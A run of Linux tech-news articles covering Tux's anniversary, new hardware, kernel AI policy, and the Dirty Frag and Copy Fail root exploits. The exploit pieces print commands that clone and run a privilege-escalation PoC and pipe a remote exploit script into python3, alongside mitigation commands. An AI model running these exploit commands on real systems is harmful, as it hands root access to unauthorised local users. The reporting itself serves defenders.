Other lesser-known processor lines have also been retired from Linux support, but are still worth a mention for the sake of completeness. Specifically, the AMD Elan (i486‑class, TSC‑less) SoC for embedded systems which first launched in 1995, looks set to be retired in Linux 7.2. Similarly the AMD Geode x86 embedded processors (early 2000s Elan replacements) will be cut off from Linux support from Linux kernel 7.2.

With no end in sight for the RAMpocalypse, it is a little sad to see older hardware getting dropped from support. However, machines packing these retired processors can still be used in fun projects where a fully up-to-date security-hardened internet-connected patched OS isn’t essential.

Linux mascot Tux the penguin was first conceptualized on this day in 1996. In an email to a mailing list 30 years ago, Linus Torvalds informed the unwashed masses of his vision for a Linux logo prototype. It should be a contented, cute, and cuddly, slightly overweight penguin, he argued.

Dialing down the details, pivoting from a world map

Torvalds’ contextual sketching of Tux came in response to another developer who was talking about using a clipart concoction involving a map of the world to represent the open-source OS.

The Linux supremo was open to holding a logo competition, but instead of a complex encapsulation of the world as a logo, he proposed a penguin. Penguins embodied three positives, thought Torvalds, being universally considered cute, cuddly, and contented. The Linux founder wanted the penguin to be highly stylized, “not a lot of detail - just a black brush-type outline,” as per the logotype rule of thumb. He also basically dismissed any complex penguin + world map fabrication.

A contented, but definitely not randy, penguin

First impressions count with logos. With penguins, the designer would have to be careful in their artwork to prevent any unintentional conclusions regarding its contented state, reasoned Torvalds at some length.

“Now, with penguins, (cuddly such), 'contented' means it has either just gotten laid, or it's stuffed on herring,” explained the lead Linux dev to mailing list subscribers. “Take it from me, I'm an expert on penguins, those are really the only two options.”

To give this overfed and content impression, Torvalds explained that Tux should be “sitting down after having gorged itself, and having just burped,” and overweight without going into fat territory.

Happy 30th, but is it time to mature?

Though we reckon Torvalds was correct in pushing for a penguin expressed in a simple brushstroke, the Tux mascot is still pretty detailed/ornate compared to a typical tech company logo. In 2026, even the fox from Firefox is on the way out, being reduced all the way to a circular spot, if we are reading the official teaser video correctly.

Other companies have vastly simplified and minimized their logos, so it seems inevitable that Tux will become a shadow of his or her former self in due course. It is true that a simpler logo for Linux would be good for branding, and a reduced detail/color identity could be a boon for merchandise and makers, too.

Here's a question for the systems administrators in the crowd: what's better than one instant-root™️Linux vulnerability that affects most every system since 2017? Two of them, of course. Today's bag of bad news comes by way of the Dirty Frag vulnerability, which uses a mechanism similar to the Copy Fail exploit that's currently setting the Linux server world on fire. This vulnerability affects nearly every Linux install since 2017, and no advance warning was given, so there is no patch available. This appears to be due to a broken embargo that revealed the vulerability before preparations were made.

As a refresher, any local user can instantly get root (administrator) access on an affected box, just by running a small program. The attack does not depend on specific system conditions or timing, as it's a straightforward logic bug. Most every popular Linux distribution since 2017 is affected, including but not limited to current versions of Ubuntu (24 and 26), Arch, RHEL, OpenSUSE, CentOS Stream, Fedora, and Alma. We even tested WSL2 ourselves and sure enough, "root" was the word.

Dirty Frag one-ups its cousin, though, as there are currently zero patches for it at the time of this writing, making it spectacularly dangerous. Even the mainline Linux kernel itself doesn't appear to have any patches, as one colleague of mine reported a successful trigger of the exploit on a CachyOS machine running kernel 7.0.3-1-cachyos, and also on an updated Arch box. Needless to say, keep your eyes peeled for updates and patch your servers the second they're available.

Mercifully, though, the machine gods made the mitigation easy and unlikely to affect the functioning of the vast majority of servers. One needs only to disable the esp4, esp6, and rxrpc modules. These are all related in various degrees to IPSec networking and unlikely to be used unless the machine in question is an IPSec client or server. You can disable the modules in question with:

sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; true"

The reason why Dirty Frag is catching everyone flat-footed is because although the vulnerability was reported to the Linux kernel team in April 30, an "unrelated third party" broke the embargo for the reveal. The website offers no more detail, but our best theory is that it means the exploit is already in use by malicious actors, prompting the embargo breakage. If you want to test your boxen, you can use:

git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp

As far as technical details go, the story isn't much different than with Copy Fail, relying on exploiting a zero-copy operation by splicing a page cache descriptor into it. The different is that this time around, the fallible code is in the IPSec-related modules. The original vulnerability is "xfrm-ESP Page Cache Write", introduced in kernel commit cac2661c53f3 from 2017, and present across most distros. Since Ubuntu systems' AppArmor plugs that particular hole, the PoC chains a second exploit, "RxRPC Page-Cache Write", added in commit 2dc334f1a63a.

Star Labs Systems, a UK-based Linux hardware startup, has finally launched the StarFighter laptop — a high-performance laptop built with premium materials and designed primarily to run a Linux operating system. This laptop starts at $1,878, with a 16-inch 165Hz QHD matte display paired with an Intel Core Ultra 5 125H and 32GB of LPDDR5x memory. The laptops are also available with higher specifications — either an Intel Core Ultra 9 285H with a 4K 120Hz matte display and 64GB of LPDDR5x RAM for $2,843 or an AMD Ryzen 7 8845HS with the same display and memory configuration.

Unfortunately, the StarFighter uses soldered RAM, so users cannot upgrade it down the road, but you can upgrade its storage if you need more space down the road.

This device had to go through a grueling journey, having been first announced on the r/linuxhardware subreddit in November 2022 with either an Intel 12th-gen or Ryzen 6000 series processor and an estimated delivery timeline of three to four months. The next update arrived in February 2023, when the lead time was extended by another four to five months, with some community members commenting on their doubts about Star Labs’ ability to deliver. It seemed that the startup is based out of a barn in rural England, some 30 miles southeast of London, run by “a bunch of geeks” who were complaining about running Linux on laptops that weren’t designed for it.

The commenters’ concerns were valid, especially as the timeline for the StarFighter laptop kept on extending. Star Labs Systems’ production updates only went back as far as July 2025, when they apologized for the delays on the January 2025 pre-orders. They expected to deliver the StarFighter some three to five months from that date, but had issues with the production facility they initially contracted to build the laptop.

After going back to their original supplier, everything went back on track with multiple updates every month regarding the progress of the device. The first batch of StarFighters finally arrived in January 2026, some six months late for those who pre-ordered early last year. As the company has fulfilled the early orders, it seems that it’s launching the laptop for sale to the general public.

The StarFighter Linux laptop will compete against other Linux-focused designs from Framework, Tuxedo Computers, and Slimbook. And while they might be a small company operating way outside of the city, the industry is in sore need of more laptops built around Linux, especially as gaming and Steam is pushing more users into this family of open-source operating systems.

The U.S. Cybersecurity and Infrastructure Security Agency (CISA) added a newly disclosed Linux vulnerability, dubbed “Copy Fail,” to its Known Exploited Vulnerabilities catalog on May 1st, warning that the flaw, tracked as CVE-2026-31431, is already being used in active attacks and urging rapid patching across affected systems.

The vulnerability resides in the Linux kernel‘s “algif_aead” cryptographic interface and allows unprivileged local users to escalate privileges to root. In practice, this means an attacker with limited access to a system can gain full administrative control.

Security researchers at Theori disclosed the flaw publicly last week, releasing a working proof-of-concept exploit alongside their findings. According to the team, the exploit is “100% reliable” and functions without modification across multiple major Linux distributions, including Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 10.1, and SUSE 16. That level of portability is unusual and lowers the barrier for attackers seeking to weaponize the bug.

At a technical level, the bug enables attackers to write controlled data into the kernel‘s page cache, a low-level memory structure, ultimately allowing privilege escalation. While the exploit requires local access, it still allows attackers to break out of standard user restrictions and gain full control of the system.

Compounding the risk, a discussion on the Openwall oss-security mailing list suggests that the vulnerability and the working exploit were publicly disclosed without prior coordination with Linux distribution maintainers. In typical responsible disclosure processes, vendors are given advance notice to prepare and distribute patches before technical details are made public.

In this case, however, maintainers indicated that no such heads-up was provided, leaving some distributions without fixes ready at the time of disclosure. One contributor noted that older long-term support kernel branches had yet to receive backported patches, forcing developers to rely on temporary mitigations, including disabling affected cryptographic modules.

The result is a compressed response window in which defenders must scramble to deploy updates while attackers can immediately leverage publicly available exploit code.

That dynamic is reflected in CISA‘s unusually swift inclusion of the flaw in its exploited vulnerabilities list, signaling that the issue poses a significant and immediate risk. CISA has given U.S. federal agencies two weeks to apply patches, in line with Binding Operational Directive 22-01, and has also urged all organizations to prioritize remediation.

Linux vendors have begun rolling out kernel updates to address the flaw. However, with exploit code already in the wild, users running older or unpatched systems may remain vulnerable until the fixes are applied.

It is quite an interesting patch week for Linux systems administrators out there. Researchers at Xint Code have discovered a nasty exploit that instantly grants root access to any local unprivileged user, a nightmare scenario for multi-user servers of various types, including web servers, container environments like Kubernetes, CI/CD pipelines, and more.

The CVE-2026-31431 exploit affects pretty much every Linux distro currently in use and has existed since 2017. Although it's not a zero-day and the kernel has already gotten a patch, the short disclosure window gave distro makers relatively little time to react. Affected variants include (but aren't limited to) Ubuntu 24 (version 26 was just released last week), RHEL 10, Suse 16, and Amazon Linux 2023. Even Windows' WSL2 is affected, and all it takes is 732 bytes to do it.

To check that a system is vulnerable, you can just run "curl https://copy.fail/exp | python3 && su" with a standard unprivileged account — though we should note that you're trusting an online script. The source code for the proof-of-concept is available here if you prefer. If your distro doesn't have a patch available yet, you can try one of two mitigation methods.

If your kernel loads algif_aaed as a module, a simple [ echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf ] will suffice. Some distributions, however, compile that functionality right into the kernel core, including RHEL and WSL2. That means that in those instances, you'll have to resort to disallowing users from opening AF_ALG sockets to begin with, via seccomp profiles, AppArmor, or SELinux.

Although the Xint Code security team didn't provide a rationale for publicly disclosing the vulnerability so early, they did mention that they found it with the help of an AI assistant. Given that the source code for the Linux kernel is by definition public, in theory, any serious attacker would find it just as easily. Perhaps the fast reveal was an unfortunate necessity.

As for the exploit mechanism itself, it's fairly devious. AF_ALG is a socket that an application can use to have data encrypted or decrypted by providing it with the data to be and a tag. To perform the attack, you provide a splice of an executable you have access to as the tag; the most obvious one being "su".

The "algif_aead" kernel function, crucially, has an internal optimization that doesn't make a copy of the data to encrypt and copy back; rather, it chains the tag data directly onto the output buffer by reference instead of copying it. As a coincidence, the "authencesn" encryption algorithm involves writing 4 bytes at a fixed offset in its output buffer. Since the tag you spliced — the page data for "su" — is now part of that output, those bytes will get written directly into the kernel's cached copy of the executable.

When you call the executable, it'll be joyfully corrupted, granting administrator access. This all happens in memory, too, so there are no detectable disk writes, and the exploit will also get past many security suites.

Security engineer Andy Nguyen, known online as TheFlow, has publicly released ps5-linux on GitHub: a complete toolchain for booting Linux on PlayStation 5 Phat consoles running firmware versions 3.xx through 4.xx. The project, which Nguyen demonstrated running GTA V Enhanced Edition via a proof-of-concept in March, is now a documented, reproducible process that anyone with compatible hardware can follow.

The release includes a Linux payload that exploits a patched hypervisor vulnerability, a build script that produces a bootable Ubuntu 24.04 image, tools for M.2 SSD installation, and a fan and CPU/GPU boost control utility. Nguyen credits several contributors, including c0w, resulknad, flatz, and the fail0verflow and ps5-payload-dev teams.

Only PS5 Phat consoles on older firmware 3.00, 3.10, 3.20, 3.21, 4.00, 4.02, 4.03, 4.50, or 4.51 are supported, with Nguyen having said support for 1.xx and 2.xx may come later, but that it’s not a priority. Firmware 5.xx could eventually work, though Linux would run inside Sony's GameOS virtual machine with reduced performance and unknown limitations, while anything 6.xx or above is ruled out entirely. Users who want to downgrade or sideload a specific firmware version can do so using Sony's official reinstall process with the correct PUP file.

Installing the payload requires a separate jailbreak tool — the umtx2 exploit — for initial code execution. Users set up a fake DNS server and HTTPS host on a local PC, redirect the PS5's manual page lookup to trigger the exploit, then send the ps5-linux-loader payload over TCP. After the console enters rest mode and the LED goes solid orange, pressing the power button boots into Linux. If the LED turns white, it worked.

Once booted, the PS5 runs as an x86 Linux desktop with access to all eight Zen 2 CPU cores (16 threads) at up to 3.5 GHz and the RDNA 2 GPU at up to 2.23 GHz. A bundled control tool enables CPU and GPU boost clocks alongside an adjustable fan curve, and Nguyen warns users should always enable the fan profile when boosting, as the console's cooling was designed for Sony's own power management. You can see the hack running GTA V in the tweet above.

The system outputs video and audio over HDMI at 1080p, 1440p, or 4K at 60 Hz. All USB ports remain functional, so users can optionally install Linux onto an M.2 SSD inserted in the PS5's expansion slot, turning it into a dedicated Linux partition separate from the console's internal storage. The internal SSD is never modified, and the console can return to normal PS5 operation on a standard reboot.

It’s worth noting that ps5-linux is a soft mod, not a permanent installation, meaning that the exploit must be re-run each time you want to boot into Linux. Some monitors are also known to have compatibility issues with HDMI output at 1440p and 4K, and Nguyen in his FAQs directs users to try a 1080p fallback or join the project’s Discord for troubleshooting.

With discrete GPU prices remaining elevated and Valve’s Steam Machine delayed beyond its original early 2026 expected launch window, a used PS5 Phat on old firmware could easily serve as an affordable and surprisingly capable alternative for Linux gamers willing to work through the setup.

Greg Kroah-Hartman, the Linux kernel's stable branch maintainer, who is widely regarded as second only to Linus Torvalds in the project's hierarchy, posted a photo to Mastodon on Friday showing the hardware behind his AI-assisted bug-finding tool, dubbed a "clanker."

The setup, which Kroah-Hartman has dubbed "gkh_clanker_t1000," is a Framework Desktop powered by AMD's Ryzen AI Max+ "Strix Halo" processor, running a local large language model to hunt down kernel bugs without relying on any cloud infrastructure, as first reported by Phoronix.

Since April 7, close to two dozen patches assisted by the Clanker T1000 have been merged into the mainline Linux kernel, addressing bugs across a range of subsystems, including ALSA, HID, SMB, Nouveau, and IO_uring. Kroah-Hartman first began testing the tool against the kernel's ksmbd and SMB code earlier this month, choosing that subsystem because it was straightforward to set up and test locally using virtual machines.

The patches carry a Git tag reading "Assisted-by: gregkh_clanker_t1000," and Kroah-Hartman has been up-front about the need for human verification, writing in the patch submission that the patches "pass my very limited testing here," adding "please don't trust them at all and verify that I'm not just making this all up before accepting them."

The tool doesn’t write kernel code but instead acts as a fuzzer, bombarding code with unexpected inputs to expose crashes, memory errors, and other latent bugs. Kroah-Hartman then reviews what it finds, writes fixes, and takes full responsibility for the submitted patches.

The Framework Desktop is a 4.5-liter Mini-ITX system built around AMD's Ryzen AI Max+ 395, which pairs 16 Zen 5 CPU cores with 40 RDNA 3.5 compute units and up to 128 GB of unified LPDDR5x memory accessible to both the CPU and GPU. That large shared memory pool makes it capable of running sizable language models locally, a task that would typically require either a high-end discrete GPU with substantial VRAM or a cloud API.

Kroah-Hartman has not disclosed any details about the software stack powering the Clanker T1000, and the emergence of the tool follows the Linux project’s formal adoption of an AI code policy earlier this month, which permits AI-assisted contributions provided developers use an "Assisted-by" disclosure tag and accept full personal liability for any code they submit.

Kroah-Hartman's workflow with the Clanker T1000 predates that policy but already conforms to it.

A computer tinkerer and hacker has posted a tool called WSL9x on Codeberg and taken to social media to boast that it might be “one of my greatest hacks of all time.” Hailey shared a summary of WSL9x on Mastodon, referring to it by its longer and more meaningful name, the Windows 9x Subsystem for Linux. Oftentimes, folks like to run old OSes inside their modern ones, but WSL9x turns that on its head, as it can run the most modern Linux kernels within some of the earliest versions of Windows. It works on systems sporting Windows 95 or newer, and even machines with 486 CPUs.

In her brief summary of WSL9x, Hailey highlights that the tool can “can run all your favorite Windows and Linux apps side-by-side with a modern Linux kernel running cooperatively with the Windows kernel in ring 0.” Moreover, it is even compatible with processors as far back as the 486, because no hardware virtualization is used. That contrasts with modern WSL in Microsoft's latest versions of Windows.

We can see from the more detailed Codeberg readme and repository that there are three main components to WSL9x. These are a patched Linux kernel, a VxD driver, and wsl.com. The tinkerer and coder explained that “wsl.com is just a client program, it exists to hold a DOS window open for the console driver in the kernel to push chars into. + It also handles shuttling keystrokes from DOS to the console driver on IRQ.”

With the tool built and run, following the guide at Codeberg, users will be able to run “a modern Linux kernel (6.19 at time of writing) cooperatively inside the Windows 9x kernel, enabling users to take advantage of the full suite of capabilities of both operating systems at the same time, including paging, memory protection, and pre-emptive scheduling,” writes Hailey. No reboots are required to fire this up and get your favorite Windows 9X and Linux apps running side-by-side, highlights the developer.

In an age of AI and vibe coding, readers may also be refreshed to hear that WSL9x was “proudly written without AI.” Hailey also reveals that WSL9x has been brewing for six years, ever since she finished her doslinux project.

Meanwhile, Linux is saying goodbye to the 486

Earlier this month, we reported on Linux kernel devs starting to remove support for the 37-year-old Intel 486 CPU. Linus Torvalds had previously telegraphed that there was 'zero real reason' to continue support for this ancient processor.

Developer Ingo Molnar will probably go down in history as the 486 on Linux gallowsman, though. Molnar authored a patch “that initially gets rid of the CONFIG_M486SX, CONFIG_M486, and CONFIG_MELAN Kconfig build option.” This patch is expected to be merged into Linux 7.1, so from that time, users won’t be able to build an i486 kernel image. Time to upgrade to a Pentium, perhaps.

The Linux kernel community is currently debating a significant proposal that could see countless legacy network drivers purged from the mainline source code to combat an unsustainable surge in AI-driven bug reports. This development follows a patch series submitted by OG developer Andrew Lunn to the netdev mailing list earlier this week.

Maintaining support for old hardware has always been a “thing” for Linux. However, thanks to AI-wielding “detectives,” the sheer number of reports is forcing a shift in the kernel’s long-standing philosophy. Developers must now choose between addressing countless low-quality or hallucinated reports on systems no one uses or focusing their limited time on modern, high-impact subsystems.

Andrew Lunn argued that while support for aging ISA and PCMCIA-era hardware was once a low-maintenance endeavor, it has recently become a disproportionate burden due to newbies using AI and fuzzers to uncover theoretical defects in code that likely have no remaining active users.

"These old drivers have not been much of a maintenance burden until recently,” writes Lunn. “Now there are more newbies are using AI and fuzzers to find issues, resulting in more work for Maintainers. Fixing these old drivers makes little sense if it is not clear they have users.”

Lunn notes that many of the Ethernet devices date to the late 1900s and feature ISA or PCMCIA interfaces (although there are a few that debuted between 2001 and 2002). If accepted, Lunn's proposal would remove specific drivers from 3Com, AMD, SMSC, Cirrus Logic, Fujitsu, Xircom, and 8390-based hardware families, eliminating approximately 27,646 lines of code from the kernel source tree.

More importantly, rather than nuking support all at once, Linux would handle the removal one patch at a time, meaning a user could restore any of these drivers if they still depend on them and are willing to step in as a maintainer. This approach would ensure that legacy systems are not permanently locked out, but no longer impose an ongoing maintenance burden by default.

YouTube tester NJ Tech has just shown that 4GB GPU users are not entirely left out of Valve's recent VRAM hack. Earlier this month, we covered a literal game-changing VRAM hack by Valve’s Natalie Vock for Linux gamers that lets you give priority to current gaming tasks. The hack fixes long-standing issues where gaming tasks are evicted from VRAM to make room for low-priority background tasks when VRAM is running low. The announcement focused on 8GB GPUs — understandably so, as most modern games are graphically demanding, requiring at least that much VRAM for high-visual-fidelity gaming.

However, this left 4GB GPU users wondering where they stood. At the time, it seemed like the options were: upgrade (for the love of God!), stick to older games (or lower graphics), or keep dealing with the visual glitches. Fortunately, YouTube gaming tech channel NJ tech demonstrated, through extensive testing with some recent gaming titles, that the options are not exhaustive — the VRAM hack does offer some improvement in 4GB GPU gaming, at least in terms of FPS in certain games at low graphics settings.

The test setup was a 4GB Radeon RX 6500 XT running CatchOS, paired with 16GB of DDR4 RAM and a Ryzen 5 5600X with a stock cooler. The channel tested various recent titles in low- to medium-graphic settings, obtaining mixed results.

Alan Wake II saw the most improvement, with average frame rates nearly tripling from 14 FPS to 41 FPS, while 1% lows significantly increased from 12 FPS to 28 FPS. Two other titles, Resident Evil: Requiem and Silent Hill, showed more modest improvements. Conversely, a bunch of other titles showed little to no improvement.

The results showed that the Valve VRAM hack may offer some benefits to 4GB GPUs in certain scenarios. Of course, we will need more testing to conclusively assess the benefits across a wide range of titles. However, it is safe to say that 4GB-GPU users are not entirely left out.

It's important to note that the hack does not reduce a game's VRAM usage; it just optimizes it, ensuring the game gets priority access to the space. If you run a title that requires at least 6 GB of VRAM on a 4 GB GPU, the patch ensures that the game doesn't have to compete with background system processes for the available 4 GB of memory. However, the remaining 2 GB will still spill into the system RAM.

Linux 7.1 is bringing what might be the biggest under-the-radar storage change in years: a new in-kernel NTFS driver that finally treats Microsoft's filesystem like a native citizen instead of a tolerated guest. After years of half-solutions, including slow FUSE drivers and under-maintained kernel code, Linux users will finally get fast, reliable, and fully integrated NTFS support out of the box.

The headline feature under discussion here is a ground-up rework of NTFS support built directly into the kernel. Unlike the long-standing NTFS-3G driver, which runs in userspace via the "Filesystem in Userspace" (FUSE) module, or the more recent but somewhat neglected NTFS3 driver, this new implementation is designed around modern Linux filesystem infrastructure from day one.

That includes support for native in-kernel read/write operations, iomap (the same high-performance I/O path used by filesystems like XFS), folio-based memory management, removal of legacy buffer_head code, and delayed allocation for improved write efficiency. In practical terms, this isn't just "NTFS, but working again"; instead, it's Linux NTFS support rebuilt to behave like a contemporary Linux filesystem internally. It's a big philosophical shift from previous approaches that mostly treated NTFS support as a compatibility layer.

Microsoft's filesystem has always been unavoidable for Linux users in mixed environments; whether it's dual-boot setups, external drives, or just moving data between machines, support has existed, but it's never felt first-class. Historically, your options were the NTFS-3G driver, the newer NTFS3 driver, or the ancient kernel NTFS that was only capable of reading NTFS volumes, not writing them. NTFS-3G is stable, but it's slow due to userspace overhead, and the newer NTFS3 driver is faster, but has been largely unmaintained since it was added way back in Linux 5.15 in 2021.

The new driver in Linux 7.1 is actually based on that ancient NTFS kernel driver, but it's been fully rewritten from the ground up by developer Namjae Jeon, the very same genius behind the Linux exFAT driver. The original work was done under the name NTFSPlus before being merged simply as "ntfs" to replace the old driver. Thus, Linus Torvalds referred to the new driver as "NTFS resurrection" when announcing the merge.

If the new NTFS delivers, it removes one of the longest-standing friction points between Linux and Windows ecosystems. On paper, performance should improve, especially compared to NTFS-3G. Running in kernel space alone eliminates a lot of overhead from context switching, which has always been the Achilles' heel of FUSE-based filesystems. Add in iomap and newer memory handling, and the new driver should be noticeably better at large sequential reads and writes, with lower CPU overhead during file operations and more consistent throughput under load.

Compared to NTFS3, things are less clear-cut. The new driver is architecturally cleaner and more future-proof, but it's also new code, which means early releases may not immediately outperform NTFS3 in every scenario. However, the developer says single-threaded writes are 3-5% faster, while multi-threaded writes are between 35% and 110% faster. Mounting a 4TB drive apparently goes four times faster, too, which is promising.

Of course, because it's new code, it comes with the usual risks. Edge cases, especially around less-commonly used NTFS features like advanced permissions, compression, or journaling quirks, may take time to fully stabilize. It's also worth noting that even with a perfect driver, NTFS itself isn't designed around Linux semantics, so while compatibility improves, it's not suddenly going to behave exactly like ext4 or XFS in every case. The new driver passes 326 xfstests, though, which is better than NTFS3's 273 passing results, so it's already more than reliable enough for most users.

Still, for years, NTFS on Linux has been in that awkward "good enough, but..." category. It worked, but it never felt clean. Linux 7.1 is the first time it looks like the kernel is taking NTFS seriously as something worth doing properly, rather than just supporting it out of necessity. If the new driver holds up and gets consistent maintenance, it could finally make NTFS a genuinely seamless bridge between Linux and Windows. If not, it risks becoming just another entry in the long history of "almost there" NTFS support on Linux.

Valve has released Proton 11.0-Beta1, but this perhaps inconsequential-sounding test version comes with something revolutionary – support for Arm Linux devices. It isn’t mainstream yet; it is a beta version, of course, but folks have already shown off the Steam UI running on a Nintendo Switch. So, Steam gaming support on more open gaming devices from brands like Retroid, AYN, and Ayaneo should be far easier.

Steam Linux ARM64 beta on Switch

— @aagaming.me (@aagaming.me.bsky.social) 2026-04-17T11:10:52.424Z

Steam Linux ARM64 beta running on Ubuntu Linux Noble Numbat on Nintendo’s popular handheld.

AAGaming, which posted the Steam on Switch demo on BlueSky, embedded above, says they have shared “a working copy of proton arm + steamrt arm that you can drop right into conpatibilitytools.d to play games with this client.”

You can find the official Proton 11.0-Beta1 release on Valve’s Proton GitHub, alongside some release notes. The key change, as far as Arm gamers are concerned, is flagged in a section under the heading ARM64 Builds. Not much is said, but handheld gaming enthusiasts on social media have been quick to realize the implications. The newly bundled FEX 2604 can enable Steam’s built-in x86 Windows to ARM Linux gaming compatibility on your Arm Linux device.

This new Arm Linux compatibility for Steam is thought to have been implemented now to prepare for the Arm-powered Steam Frame gaming headset, which we went hands-on with last November. That headset was described as a ‘streaming-first device’ but packs very respectable Arm mobile hardware, such as a Qualcomm Snapdragon 8 Gen 3 backed with 16GB LPDDR5X.

During our Steam Frame hands-on, we also learned about FEX bringing Steam games to Arm and running locally. In our demo, we saw the x86 version of Hades 2 running standalone with respectable performance at 1400p. The Valve rep clarified, “It’s actually running on Linux, running on Arm,” at the time. So, now we are seeing this ability surfacing in public betas, and already being used to get Steam OS and games running on alternative Arm hardware.

Valve is building a ‘Verified’ style list for the Steam Frame Arm hardware, much like its efforts seen on Steam Deck. Thus, users will know which games will run well locally and which they might prefer to stream from their gaming PCs.

Not interested in Arm? There's more...

In addition to the juicy Arm/Linux compatibility news, the new Proton 11 Beta includes goodies for existing Steam OS gamers. There’s a host of new certified playable titles for users, such as titles from the Resident Evil and Dino Crisis stables, plus Warhammer: Vermintide 2, SHOGUN: Total War, Breath of Fire IV, and more.

Numerous bug fixes are implemented in the release, too. For example, Valve has fixed Steam Overlay not working correctly with many EA games, and got the intro video playback in Crimson Desert to work properly.

Getting Proton 11 is easier if you already have a Steam OS device like the Deck. Just search for the update in the Steam Library.

The open-source community's long-simmering identity crisis over artificial intelligence just got a much-needed dose of pragmatism. This week, the Linux kernel project finally established a formal, project-wide policy explicitly allowing AI-assisted code contributions provided that developers follow strict new disclosure rules. The new guidelines mandate that AI agents cannot use the legally binding "Signed-off-by" tag, requiring instead a new "Assisted-by" tag for transparency. Ultimately, the policy legally anchors every single line of AI-generated code and any resulting bugs or security flaws firmly onto the shoulders of the human submitting it.

The move comes after a chaotic few months in the open-source world, resolving a fierce debate that peaked in January when Intel's Dave Hansen and Oracle's Lorenzo Stoakes clashed over how aggressively the kernel should police AI tools. Linus Torvalds, in his trademark blunt fashion, ultimately shut the argument down, calling the debate over outright bans "pointless posturing."

Torvalds' stance, which forms the philosophical backbone of this new policy, is remarkably straightforward: AI is just another tool. Bad actors submitting garbage code aren't going to read the documentation anyway, so the kernel should focus on holding human developers accountable rather than trying to police the software they run on their local machines. It's a highly reasonable, pragmatic approach, especially when contrasted with the panic that has gripped other corners of the open-source ecosystem.

Until now, major projects have taken wildly different approaches to the AI question. Over the last two years, prominent Linux distributions like Gentoo, as well as venerable Unix distribution NetBSD, moved to outright ban AI-generated submissions. NetBSD maintainers famously described LLM outputs as legally "tainted" due to the murky copyright status of the models' training data.

The core of this panic revolves around the Developer Certificate of Origin (DCO). As Red Hat pointed out in a thorough analysis late last year, the DCO requires humans to legally certify they have the right to submit their code. Because LLMs are trained on massive datasets of open-source code that often carries restrictive licenses like the GNU General Public License, developers using Copilot or ChatGPT can't genuinely guarantee the provenance of what they are submitting. Red Hat warned this could inadvertently violate open-source licenses and shatter the DCO framework entirely.

Legal headaches aside, project maintainers have also been fighting a losing battle against sheer volume. The open-source world is currently drowning in what the community has dubbed "AI slop." The creator of cURL had to close bug bounties after being flooded with hallucinated code, whiteboard tool tldraw began auto-closing external PRs in self-defense, and projects like Node.js and OCaml have seen massive, >10,000-line AI-generated patches spark existential debates among maintainers.

The cultural friction of undisclosed AI code has been even more volatile. Late last year, NVIDIA engineer and kernel maintainer Sasha Levin faced massive community backlash after it was revealed he submitted a patch to kernel 6.15 entirely written by an LLM without disclosing it, including the changelog. While the code was functional, it include a performance regression despite being reviewed and tested. The community pushed back hard against the idea of developers slapping their names on complex code they didn't actually write, and even Torvalds admitted the patch was not properly reviewed, partially because it was not labeled as AI-generated.

The Linux kernel isn't the only community dealing with the fallout of undisclosed AI assistance. Over in the gaming sphere, the legendary (and still quite-alive) Doom modding community was cleaved in two last year as Christoph "Graf Zahl" Oelckers, the longtime lead developer of the mega-popular GZDoom source port, was caught using undisclosed AI-generated patches. When community members called him out on the lack of transparency, Oelckers took a remarkably cavalier attitude, essentially telling his critics to "feel free to fork the project." The community called his bluff, resulting in the birth of the new UZDoom source port as the overwhelming majority of contributors to GZDoom fled to the new fork.

The GZDoom incident and the Sasha Levin backlash highlight exactly why the Linux kernel's new policy is so vital. Most of the developer community is less angry about the use of AI and more frustrated about the dishonesty surrounding it. By demanding an Assisted-by tag and enforcing strict human liability, the Linux kernel is attempting to strip the emotion out of the debate. Torvalds and the maintainers are acknowledging reality: developers are going to use AI tools to code faster, and trying to ban them is like trying to ban a specific brand of keyboard.

The bottom line is, if the code is good, then it's good. If it's hallucinatory AI slop that breaks the kernel, the human who clicked "submit" is the one who will have to answer to Linus Torvalds. In the open-source world, that's about as strong a deterrent as you can get.

The Linux 7.0 kernel has merged support for three new keycodes intended for a coming wave of laptops with dedicated AI agent keys, Phoronix has reported, meaning that three new keys with dedicated AI functions, much like the Microsoft Copilot button on newer laptops, could be coming to a keyboard near you soon.

Arriving through the HID fixes pull request for 7.0, the additions recognize The additions arrived through the HID fixes pull request for 7.0 and recognize KEY_ACTION_ON_SELECTION (0x254), KEY_CONTEXTUAL_INSERT (0x255), and KEY_CONTEXTUAL_QUERY (0x256), all defined on the USB HID Application Launch usage page.

These are new, recently-approved entries to the usage page, defined specifically for in-context AI agent interactions and routed through the USB-IF specification process, potentially marking a step beyond how the existing Microsoft Copilot key works on shipping Copilot+ PCs. According to Phoronix, Google authored both the HID specification proposal and the kernel patch wiring the new codes into Linux input.

Just over two years ago, we established that the Copilot button doesn’t transmit a new scan code at all, and instead reports as Left Shift + Windows + F23, a 1980s IBM function key repurposed by firmware. The 0x254, 0x255, and 0x256 entries, however, replace that workaround with first-class HID values that operating systems can map directly.

Per the descriptions, Action on Selection is meant to fire an AI action against whatever the user currently has highlighted, whether text or an image, with example flows including explain, summarize, or search the selection. Contextual Insertion calls up an overlay that lets the user retrieve or generate content and drop it straight into the focused field, while Contextual Query finds suggestions tied to the selected element.

None of the three replicates the Copilot key's job of launching a standalone assistant app; they target inline, in-context interactions instead.

The fact that it’s Google that authored the HID specification and kernel patch is interesting, given that Microsoft drove the original Copilot key push in early 2024 and Intel co-defined the AI PC certification around the presence of that button.

Google, meanwhile, shipped a physical Quick Insert Key on the Samsung Galaxy Chromebook Plus in October 2024, rolled the underlying function out to all Chromebooks in ChromeOS 130 a few weeks later under a Launcher + F shortcut, and has now taken the button class to USB-IF and landed the kernel implementation.

KEY_CONTEXTUAL_INSERT, as defined in the merged Linux header, describes a contextual overlay for retrieving or generating content into the focused field, which is functionally what Quick Insert already does on ChromeOS. The 0x254 to 0x256 entries sit on the HID Application Launch page, the same usage range that already covers dedicated keys for browser, calculator, mail, and media player launches.

The keycodes themselves seem to be agent-agnostic; nothing in the kernel definitions ties them to a particular vendor's assistant, which leaves OEMs free to wire them to Gemini, Copilot, or a local model, so you can expect to see them on upcoming laptops and PCs.

